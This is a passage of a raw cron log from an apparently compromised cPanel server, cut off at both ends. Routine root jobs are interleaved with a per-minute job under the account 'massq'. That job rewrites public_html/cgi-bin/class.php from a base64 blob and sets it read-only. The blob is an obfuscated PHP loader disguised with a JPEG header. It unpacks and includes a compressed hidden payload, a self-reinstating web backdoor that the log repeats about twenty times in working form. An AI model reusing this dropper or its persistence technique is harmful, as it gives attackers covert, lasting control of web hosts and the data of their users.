GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:15:01 server CROND[23560]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 23:15:01 server CROND[23561]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 23:16:01 server CROND[23672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:17:01 server CROND[23827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:18:01 server CROND[23884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:19:01 server CROND[23945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:20:01 server CROND[24009]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 23:20:01 server CROND[24010]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 23:20:01 server CROND[24011]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 23:20:01 server CROND[24013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:20:01 server CROND[24012]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 23:21:01 server CROND[24182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:22:01 server CROND[24334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:23:01 server CROND[24387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:24:01 server CROND[24439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:25:01 server CROND[24505]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 23:25:01 server CROND[24506]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 23:25:01 server CROND[24507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:26:01 server CROND[24619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:27:01 server CROND[24780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:27:01 server CROND[24781]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 23:28:01 server CROND[24851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:29:01 server CROND[24903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg